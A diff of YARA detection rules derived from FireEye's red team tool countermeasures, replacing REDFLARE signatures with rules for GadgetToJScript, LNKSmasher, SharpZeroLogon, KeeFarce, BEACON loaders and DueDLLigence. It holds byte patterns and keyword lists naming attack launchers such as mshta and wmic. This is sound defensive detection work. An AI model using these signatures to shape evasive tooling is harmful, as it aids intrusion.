$s5 = "shutil.which('rustc')" + $s6 = "~/.cargo/bin" + $s7 = /[\x22\x27]\\\\x[\x22\x27]\.join\(\[\w{1,64}\[\w{1,64}:\w{1,64}[\x09\x20]{0,32}\+[\x09\x20]{0,32}2\]/ condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( ( @pdb2 [ 1 ] < @pdb1 [ 1 ] + 50 ) or 2 of ( $s* ) ) + all of them } -rule FIREEYE_RT_APT_Loader_Raw32_REDFLARE_1 : FILE +rule FIREEYE_RT_Hunting_B64Engine_Dotnettojscript_Dos { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "This file may enclude a Base64 encoded .NET executable. This technique is used by the project DotNetToJScript which is used by many malware families including GadgetToJScript." author = "FireEye" - id = "8f8ec27f-afac-5da5-b76f-b984e14e0066" - date = "2020-11-27" - date = "2020-11-27" + id = "24c9c259-9bb9-5f46-9278-4fa20eb3c8c4" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Raw32_REDFLARE_1.yar#L4-L16" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Hunting_B64Engine_DotNetToJScript_Dos.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "4022baddfda3858a57c9cbb0d49f6f86" - logic_hash = "05ed89bd82600b4d5ef01ece2e0a9bd84e968988fd2bda1bab4ec316a9a9906b" - score = 75 + hash = "7af24305a409a2b8f83ece27bb0f7900" + logic_hash = "e2afb43af469f8ae02f6fd21db6dbd45c997fb003e3aeeaa0d4ff3e85c64159a" + score = 50 quality = 75 - tags = "FILE" + tags = "" rev = 1 strings: - $load = { EB ?? 58 [0-4] 8B 10 8B 48 [1-3] 8B C8 83 C1 ?? 03 D1 83 E9 [1-3] 83 C1 [1-4] FF D? } + $b64_mz = "AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAUEU" condition: - ( uint16( 0 ) != 0x5A4D ) and all of them + $b64_mz } -rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_2 : FILE +rule FIREEYE_RT_Builder_MSIL_G2JS_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the Gadget2JScript project." author = "FireEye" - id = "84881e5c-05df-5911-af42-ec82e559588c" - date = "2020-11-27" - date = "2020-11-27" + id = "484202c2-ac7d-5e6c-8bf1-3452a357c668" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_2.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Builder_MSIL_G2JS_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "9529c4c9773392893a8a0ab8ce8f8ce1,05b99d438dac63a5a993cea37c036673" - logic_hash = "1f2e1f644b1932486444dfda30b7dad7f50121f59fa493eb8a1a0528ae46db26" + hash = "fa255fdc88ab656ad9bc383f9b322a76" + logic_hash = "487d8e8deef218412f241d99ce32b63bfeb3568d23048b9dd4afff8f401bfea5" score = 75 - quality = 75 + quality = 73 tags = "FILE" rev = 2 strings: - $1 = "initialize" fullword - $2 = "getData" fullword - $3 = "putData" fullword - $4 = "fini" fullword - $5 = "Cookie: SID1=%s" fullword + $typelibguid1 = "AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 } -rule FIREEYE_RT_APT_Loader_Raw64_REDFLARE_1 : FILE +rule FIREEYE_RT_Hunting_Gadgettojscript_1 { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "This rule is looking for B64 offsets of LazyNetToJscriptLoader which is a namespace specific to the internal version of the GadgetToJScript tooling." author = "FireEye" - id = "8e937f6a-404f-53bd-9de2-ed63b1cf48b2" - date = "2020-11-27" - date = "2020-11-27" + id = "76c932e0-55b3-56ef-bab6-eb6997b51ee7" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Raw64_REDFLARE_1.yar#L4-L16" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Hunting_GadgetToJScript_1.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "5e14f77f85fd9a5be46e7f04b8a144f5" - logic_hash = "dac122ccece8a6dd35a5fe9d37860a612aa50ab469b79f4375dbe776f60c7b57" - score = 75 + hash = "7af24305a409a2b8f83ece27bb0f7900" + logic_hash = "a880c20e61376dacd4e3a04f2cf065f19067c29371180b1dec186172cadf9564" + score = 50 quality = 75 - tags = "FILE" - rev = 1 + tags = "" + rev = 4 strings: - $load = { EB ?? 58 48 8B 10 4C 8B 48 ?? 48 8B C8 [1-10] 48 83 C1 ?? 48 03 D1 FF } + $s1 = "GF6eU5ldFRvSnNjcmlwdExvYWRl" + $s2 = "henlOZXRUb0pzY3JpcHRMb2Fk" + $s3 = "YXp5TmV0VG9Kc2NyaXB0TG9hZGV" condition: - ( uint16( 0 ) != 0x5A4D ) and all of them + any of them } -rule FIREEYE_RT_APT_Keylogger_Win32_REDFLARE_1 : FILE +rule FIREEYE_RT_Dropper_LNK_Lnksmasher_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The LNKSmasher project contains a prebuilt LNK file that has pieces added based on various configuration items. Because of this, several artifacts are present in every single LNK file generated by LNKSmasher, including the Drive Serial #, the File Droid GUID, and the GUID CLSID." author = "FireEye" - id = "ad14db66-d640-5712-b2c8-a3d42d5a90f3" - date = "2020-12-01" - date = "2020-12-01" + id = "1b93ddf8-9578-5e47-b479-4c9e8a40b4f4" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Keylogger_Win32_REDFLARE_1.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LNKSMASHER/production/yara/Dropper_LNK_LNKSmasher_1.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "d7cfb9fbcf19ce881180f757aeec77dd" - logic_hash = "aebbaa050bee3775ffac4214ea4ab58284384e7eb41e66ee4838b9359e72821e" + hash = "0a86d64c3b25aa45428e94b6e0be3e08" + logic_hash = "61d1ac67ac0d332ad842a522cbebe1b9af1482d58a210b50fb45209355c0aeeb" score = 75 quality = 75 tags = "FILE" - rev = 2 + rev = 6 strings: - $create_window = { 6A 00 68 [4] 6A 00 6A 00 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 CF 00 68 [4] 68 [4] 6A 00 FF 15 } - $keys_check = { 6A 14 [0-5] FF [1-5] 6A 10 [0-5] FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A0 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A1 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 74 } + $drive_serial = { 12 F7 26 BE } + $file_droid_guid = { BC 96 28 4F 0A 46 54 42 81 B8 9F 48 64 D7 E9 A5 } + $guid_clsid = { E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D } + $header = { 4C 00 00 00 01 14 02 } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them + $header at 0 and all of them } -rule FIREEYE_RT_APT_Loader_Win32_REDFLARE_1 : FILE +rule FIREEYE_RT_Hunting_LNK_Win_Genericlauncher : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "Signature to detect LNK files or OLE objects with embedded LNK files and generic launcher commands, except powershell which is large enough to have its own gene" author = "FireEye" - id = "b8a2c388-3b27-5075-b0ee-2773ae0c67ad" - date = "2020-11-27" - date = "2020-11-27" + id = "1a12e475-bb18-55ab-b629-47b711c10e6b" + date = "2018-09-04" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win32_REDFLARE_1.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LNKSMASHER/supplemental/yara/Hunting_LNK_Win_GenericLauncher.yar#L4-L22" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "01d68343ac46db6065f888a094edfe4f" - logic_hash = "f9165aabe4bad215211cf98559099030ddb8a76175fbfcfee3c6f25d7614bdad" - score = 75 - quality = 75 + hash = "14dd758e8f89f14612c8df9f862c31e4" + logic_hash = "a654cd3594e2d09950fb11bf8721a5cdb89f5d5be6e706f12e18c7fcdf7dd0fe" + score = 60 + quality = 53 tags = "FILE" - rev = 1 + rev = 7 strings: - $alloc_n_load = { 6A 40 68 00 30 00 00 [0-20] 6A 00 [0-20] FF D0 [4-60] F3 A4 [30-100] 6B C0 28 8B 4D ?? 8B 4C 01 10 8B 55 ?? 6B D2 28 } - $const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A } + $a01 = "cmd.exe /" ascii nocase wide + $a02 = "cscript" ascii nocase wide + $a03 = "jscript" ascii nocase wide + $a04 = "wscript" ascii nocase wide + $a05 = "wmic" ascii nocase wide + $a07 = "mshta" ascii nocase wide + $header = { 4C 00 00 00 01 14 02 } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them + (( $header at 0 ) or ( ( uint32( 0 ) == 0xE011CFD0 ) and $header ) ) and ( 1 of ( $a* ) ) } -rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_7 : FILE +rule FIREEYE_RT_Hacktool_MSIL_SHARPZEROLOGON_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'sharpzerologon' project." author = "FireEye" - id = "f891e477-9ff2-57be-9ca5-dd87d9baee29" - date = "2020-12-02" - date = "2020-12-02" + id = "51f22eee-fb96-55b0-8c02-1a0e9910a93e" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_7.yar#L4-L21" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPZEROLOGON/production/yara/HackTool_MSIL_SHARPZEROLOGON_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "e7beece34bdf67cbb8297833c5953669, 8025bcbe3cc81fc19021ad0fbc11cf9b" - logic_hash = "6d7822256ac1bef05304d3396df773e2b20a397311ad820d6ec5fe4cb6bdfbbc" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "ed6a9bef5c6ee03aff969b8765b284ace517f2e6a1ef114acb04cf094c69cfa5" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 1 + rev = 3 strings: - $1 = "initialize" fullword - $2 = "getData" fullword - $3 = "putData" fullword - $4 = "fini" fullword - $5 = "NamedPipe" - $named_pipe = { 88 13 00 00 [1-8] E8 03 00 00 [20-60] 00 00 00 00 [1-8] 00 00 00 00 [1-40] ( 6A 00 6A 00 6A 03 6A 00 6A 00 68 | 00 00 00 00 [1-6] 00 00 00 00 [1-6] 03 00 00 00 45 33 C? 45 33 C? BA ) 00 00 00 C0 [2-10] FF 15 [4-30] FF 15 [4-7] E7 00 00 00 [4-40] FF 15 [4] 85 C0 } + $typelibguid0 = "15ce9a3c-4609-4184-87b2-e29fc5e2b770" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Downloader_Win64_REDFLARE_1 : FILE +rule FIREEYE_RT_Loader_Win_Generic_17 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "15a5e22b-84b0-5b36-8772-1d496ac447b2" - date = "2020-11-27" - date = "2020-11-27" + id = "4e5bf741-c1e3-54af-9580-02925ba6fc6a" + date = "2020-11-25" + date = "2020-11-25" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Downloader_Win64_REDFLARE_1.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Loader_Win_Generic_17.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "9529c4c9773392893a8a0ab8ce8f8ce1" - logic_hash = "1b9bece6083403615841c752eac48fd20095e918d6e175563dd122be2885d875" + hash = "562ecbba043552d59a0f23f61cea0983" + logic_hash = "5c20472c3af0c5b8c825671b12763900d6a711695ed04661b33cbf442422348d" score = 75 quality = 75 tags = "FILE" - rev = 2 + rev = 3 strings: - $const = "Cookie: SID1=%s" fullword - $http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [6-20] 00 00 00 00 [6-20] 00 00 00 00 [2-10] 00 00 00 00 45 33 C9 [4-20] 48 8D 15 [4] 48 8B 0D [4] FF 15 [4-50] B9 14 00 00 00 E8 } + $s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 } + $s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 } + $si1 = "fread" fullword + $si2 = "fwrite" fullword condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Loader_Win64_REDFLARE_1 : FILE +rule FIREEYE_RT_Trojan_Win_Generic_101 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "dc162f26-66d3-5359-b1d7-ef2208b359e2" - date = "2020-11-27" - date = "2020-11-27" + id = "0290aaea-d65b-5883-97f9-549d107e3e1f" + date = "2020-11-25" + date = "2020-11-25" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win64_REDFLARE_1.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Trojan_Win_Generic_101.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "f20824fa6e5c81e3804419f108445368" - logic_hash = "2cae245a6aa36dccc2228cccefdc4ca0eb278901f063e072a369000f67d73a55" + hash = "2e67c62bd0307c04af469ee8dcb220f2" + logic_hash = "e530183f3cab01560b1abc91e2111e5d9e5aadc1c8134027ac07d8917f9419a0" score = 75 quality = 75 tags = "FILE" - rev = 1 + rev = 3 strings: - $alloc_n_load = { 41 B9 40 00 00 00 41 B8 00 30 00 00 33 C9 [1-10] FF 50 [4-80] F3 A4 [30-120] 48 6B C9 28 [3-20] 48 6B C9 28 } - $const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A } + $s0 = { 2A [1-16] 17 [1-16] 02 04 00 00 [1-16] FF 15 } + $s1 = { 81 7? [1-3] 02 04 00 00 7? [1-3] 83 7? [1-3] 17 7? [1-3] 83 7? [1-3] 2A 7? } + $s2 = { FF 15 [4-16] FF D? [1-16] 3D [1-24] 89 [1-8] E8 [4-16] 89 [1-8] F3 A4 [1-24] E8 } + $si1 = "PeekMessageA" fullword + $si2 = "PostThreadMessageA" fullword condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and @s0 [ 1 ] < @s1 [ 1 ] and @s1 [ 1 ] < @s2 [ 1 ] and all of them } -rule FIREEYE_RT_APT_Loader_Win64_REDFLARE_2 : FILE +rule FIREEYE_RT_Loader_Win_Generic_18 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "043f4e29-710d-5e17-a0ed-82cd3a565194" - date = "2020-11-27" - date = "2020-11-27" + id = "6f44bd64-29bd-50e2-8b61-7ba61bb1f688" + date = "2020-11-25" + date = "2020-11-25" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win64_REDFLARE_2.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Loader_Win_Generic_18.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "100d73b35f23b2fe84bf7cd37140bf4d" - logic_hash = "9fad845ed963fae46ac7ddc44407d5f6ed0a061f6a106764b9f912ef718279b4" + hash = "c74ebb6c238bbfaefd5b32d2bf7c7fcc" + logic_hash = "28c9497f646fcf3daf7007d7afd37971dd85382062c064173f13049ad419fef1" score = 75 quality = 75 tags = "FILE" - rev = 1 + rev = 3 strings: - $alloc = { 45 8B C0 33 D2 [2-6] 00 10 00 00 [2-6] 04 00 00 00 [1-6] FF 15 [4-60] FF 15 [4] 85 C0 [4-40] 20 00 00 00 [4-40] FF 15 [4] 85 C0 } - $inject = { 83 F8 01 [2-20] 33 C0 45 33 C9 [3-10] 45 33 C0 [3-10] 33 D2 [30-100] FF 15 [4] 85 C0 [20-100] 01 00 10 00 [0-10] FF 15 [4] 85 C0 [4-30] FF 15 [4] 85 C0 [2-20] FF 15 [4] 83 F8 FF } - $s1 = "ResumeThread" fullword + $s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 } + $s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 } + $si1 = "fread" fullword + $si2 = "fwrite" fullword condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_8 : FILE +rule FIREEYE_RT_Trojan_Raw_Generic_4 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "b090df60-8f4e-51ca-944c-6f9ce2d9c913" + id = "9092f9bb-cab6-55c0-9452-70a6407db93a" date = "2020-12-02" date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_8.yar#L4-L22" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Trojan_Raw_Generic_4.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "9c8eb908b8c1cda46e844c24f65d9370, 9e85713d615bda23785faf660c1b872c" - logic_hash = "5b8a0402886daebefb995e7df0877d51727c5b8dc58eeb8ff16ceec5e7811a20" + hash = "f41074be5b423afb02a74bc74222e35d" + logic_hash = "8ffd23631c1a9d1abe6695858ec34d61261b3b3f097be94372f3f34e46e7211e" score = 75 quality = 75 tags = "FILE" rev = 1 strings: - $1 = "PSRunner.PSRunner" fullword - $2 = "CorBindToRuntime" fullword - $3 = "ReportEventW" fullword - $4 = "InvokePS" fullword wide - $5 = "runCommand" fullword - $6 = "initialize" fullword - $trap = { 03 40 00 80 E8 [4] CC } + $s0 = { 83 ?? 02 [1-16] 40 [1-16] F3 A4 [1-16] 40 [1-16] E8 [4-32] FF ( D? | 5? | 1? ) } + $s1 = { 0F B? [1-16] 4D 5A [1-32] 3C [16-64] 50 45 [8-32] C3 } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + uint16( 0 ) != 0x5A4D and all of them } -rule FIREEYE_RT_APT_Controller_Linux_REDFLARE_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Keefarce_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeeFarce' project." author = "FireEye" - id = "79a69740-7209-5c56-ad6f-eb4d0b29beaf" - date = "2020-12-02" - date = "2020-12-02" + id = "c17add0c-e09f-5ced-a4e1-bf60afad4725" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Controller_Linux_REDFLARE_1.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/KEEFARCE/production/yara/HackTool_MSIL_KeeFarce_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e" - logic_hash = "d6b0cc5f386da9bff8a8293f2b3857406044ab42f7c1bb23d5096052a3c42ce4" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "8db86230849137608880dbe448737fc70068d308772e294cc69301b18ae10908" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 1 + rev = 3 strings: - $1 = "/RedFlare/gorat_server" - $2 = "RedFlare/sandals" - $3 = "goratsvr.CommandResponse" fullword - $4 = "goratsvr.CommandRequest" fullword + $typelibguid0 = "17589ea6-fcc9-44bb-92ad-d5b3eea6af03" ascii nocase wide condition: - ( uint32( 0 ) == 0x464c457f ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_3 : FILE +rule FIREEYE_RT_Loader_MSIL_DUEDLLIGENCE_2 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "2f6785c4-f4d0-52ff-8c46-da953e2ca92a" - date = "2020-12-01" - date = "2020-12-01" - modified = "2020-12-09" + id = "b10b476a-0d38-53e4-80cf-559618729268" + date = "2020-12-18" + modified = "2020-12-18" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_3.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/Loader_MSIL_DUEDLLIGENCE_2.yar#L5-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "9ccda4d7511009d5572ef2f8597fba4e,ece07daca53dd0a7c23dacabf50f56f1" - logic_hash = "ee104bc145686a134e4d6d620dae7d1dacff7645d47f1a8d7a212327352b8e87" + logic_hash = "5a2e0559e3b47c1957a42929fbbeba7a53c21619125381b01dcd8453b6ec4802" score = 75 quality = 75 tags = "FILE" - rev = 1 strings: - $calc_image_size = { 28 00 00 00 [2-30] 83 E2 1F [4-20] C1 F8 05 [0-8] 0F AF C? [0-30] C1 E0 02 } - $str1 = "CreateCompatibleBitmap" fullword - $str2 = "BitBlt" fullword - $str3 = "runCommand" fullword + $1 = "DueDLLigence" fullword + $2 = "CPlApplet" fullword + $iz1 = /_Cor(Exe|Dll)Main/ fullword condition: ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_5 : FILE +rule FIREEYE_RT_Loader_MSIL_DUEDLLIGENCE_1 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "892981d6-f310-5ee8-95b5-dd4bd720a86c" - date = "2020-12-01" - date = "2020-12-01" - modified = "2020-12-09" + id = "d438575f-3cb2-5cff-b5d4-733044f62e61" + date = "2020-12-18" + modified = "2020-12-18" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_5.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/Loader_MSIL_DUEDLLIGENCE_1.yar#L5-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dfbb1b988c239ade4c23856e42d4127b, 